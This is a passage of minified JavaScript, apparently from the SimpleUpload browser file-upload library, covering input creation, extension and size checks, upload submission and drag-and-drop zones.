'0' ) { div.style.filter = 'alpha(opacity=0)'; } ss.addEvent( this._input, 'change', function() { if ( !self._input || self._input.value === '' ) { return; } if ( false === self._addFiles( XhrOk ? self._input.files : self._input ) ) { return; } ss.removeClass( self._overBtn, self._opts.hoverClass ); ss.removeClass( self._overBtn, self._opts.focusClass ); // Now that file is in upload queue, remove the file input ss.remove( self._input.parentNode ); delete self._input; // Then create a new file input self._createInput(); // Submit if autoSubmit option is true if ( self._opts.autoSubmit ) { self.submit(); } }); if ( self._opts.hoverClass !== '' ) { ss.addEvent( this._input, 'mouseover', function() { ss.addClass( self._overBtn, self._opts.hoverClass ); }); ss.addEvent( this._input, 'mouseout', function() { ss.removeClass( self._overBtn, self._opts.hoverClass ); ss.removeClass( self._overBtn, self._opts.focusClass ); self._input.parentNode.style.visibility = 'hidden'; }); } if ( self._opts.focusClass !== '' ) { ss.addEvent( this._input, 'focus', function() { ss.addClass( self._overBtn, self._opts.focusClass ); }); ss.addEvent( this._input, 'blur', function() { ss.removeClass( self._overBtn, self._opts.focusClass ); }); } div.appendChild( this._input ); document.body.appendChild( div ); }, rerouteClicks: function( elem ) { "use strict"; var self = this; // ss.addEvent() returns a function to detach, which // allows us to call elem.off() to remove mouseover listener elem.off = ss.addEvent( elem, 'mouseover', function() { if ( self._disabled ) { return; } if ( !self._input ) { self._createInput(); } self._overBtn = elem; ss.copyLayout( elem, self._input.parentNode ); self._input.parentNode.style.visibility = 'visible'; }); return elem; }, /** * Final cleanup function after upload ends */ _last: function( sizeBox, progBox, pctBox, abortBtn, removeAbort ) { "use strict"; if ( sizeBox ) { sizeBox.innerHTML = ''; } if ( pctBox ) { pctBox.innerHTML = ''; } if ( abortBtn && removeAbort ) { ss.remove( abortBtn ); } if ( progBox ) { ss.remove( progBox ); } // Decrement the active upload counter this._active--; sizeBox = progBox = pctBox = abortBtn = removeAbort = null; if ( this._disabled ) { this.enable( true ); } this._cycleQueue(); }, /** * Completes upload request if an error is detected */ _errorFinish: function( fileObj, status, statusText, response, errorType, progBox, sizeBox, pctBox, abortBtn, removeAbort ) { "use strict"; this.log( 'Upload failed: ' + status + ' ' + statusText ); this._opts.onError.call( this, fileObj.name, errorType, status, statusText, response, fileObj.btn ); this._last( sizeBox, progBox, pctBox, abortBtn, removeAbort ); fileObj = status = statusText = response = errorType = sizeBox = progBox = pctBox = abortBtn = removeAbort = null; }, /** * Completes upload request if the transfer was successful */ _finish: function( fileObj, status, statusText, response, sizeBox, progBox, pctBox, abortBtn, removeAbort ) { "use strict"; this.log( 'Server response: ' + response ); if ( this._opts.responseType.toLowerCase() == 'json' ) { response = ss.parseJSON( response ); if ( response === false ) { this._errorFinish( fileObj, status, statusText, false, 'parseerror', progBox, sizeBox, abortBtn, removeAbort ); return; } } this._opts.onComplete.call( this, fileObj.name, response, fileObj.btn ); this._last( sizeBox, progBox, pctBox, abortBtn, removeAbort ); fileObj = status = statusText = response = sizeBox = progBox = pctBox = abortBtn = removeAbort = null; }, /** * Verifies that file is allowed * Checks file extension and file size if limits are set */ _checkFile: function( fileObj ) { "use strict"; var extOk = false, i = this._opts.allowedExtensions.length; // Only file extension if allowedExtensions is set if ( i > 0 ) { while ( i-- ) { if ( this._opts.allowedExtensions[i].toLowerCase() == fileObj.ext.toLowerCase() ) { extOk = true; break; } } if ( !extOk ) { this.removeCurrent( fileObj.id ); this.log( 'File extension not permitted' ); this._opts.onExtError.call( this, fileObj.name, fileObj.ext ); return false; } } if ( fileObj.size && this._opts.maxSize !== false && fileObj.size > this._opts.maxSize ) { this.removeCurrent( fileObj.id ); this.log( fileObj.name + ' exceeds ' + this._opts.maxSize + 'K limit' ); this._opts.onSizeError.call( this, fileObj.name, fileObj.size ); return false; } fileObj = null; return true; }, /** * Validates input and directs to either XHR method or iFrame method */ submit: function() { "use strict"; if ( this._disabled || this._active >= this._opts.maxUploads || this._queue.length < 1 ) { return; } if ( !this._checkFile( this._queue[0] ) ) { return; } // User returned false to cancel upload if ( false === this._opts.onSubmit.call( this, this._queue[0].name, this._queue[0].ext, this._queue[0].btn, this._queue[0].size ) ) { return; } // Increment the active upload counter this._active++; // Disable uploading if multiple file uploads are not enabled // or if queue is disabled and we've reached max uploads if ( this._opts.multiple === false || this._opts.queue === false && this._active >= this._opts.maxUploads ) { this.disable( true ); } this._initUpload( this._queue[0] ); } }); if ( XhrOk ) { ss.extendObj( ss.SimpleUpload.prototype, ss.XhrUpload ); } else { ss.extendObj( ss.SimpleUpload.prototype, ss.IframeUpload ); } }()); ss.extendObj(ss.SimpleUpload.prototype, { _dragFileCheck: function( e ) { if ( e.dataTransfer.types ) { for ( var i = 0; i < e.dataTransfer.types.length; i++ ) { if ( e.dataTransfer.types[i] == 'Files' ) { return true; } } } return false; }, addDropZone: function( elem ) { var self = this; elem = ss.verifyElem( elem ); if ( !elem ) { self.log( 'Invalid or nonexistent element passed for drop zone' ); return false; } elem.ondragenter = function( e ) { if ( !self._dragFileCheck( e ) ) { return false; } ss.addClass( this, self._opts.dragClass ); return false; }; elem.ondragover = function() { return false; }; elem.ondragend = function() { ss.removeClass( this, self._opts.dragClass ); return false; }; elem.ondragleave = function() { ss.removeClass( this, self._opts.dragClass ); return false; }; elem.ondrop = function( e ) { e.preventDefault(); if ( !self._dragFileCheck( e ) ) { return false; } self._addFiles( e.dataTransfer.files ); self._cycleQueue(); ss.removeClass( this, self._opts.dragClass ); }; } }); // Expose to the global window object window.ss = ss; })( window, document );
Close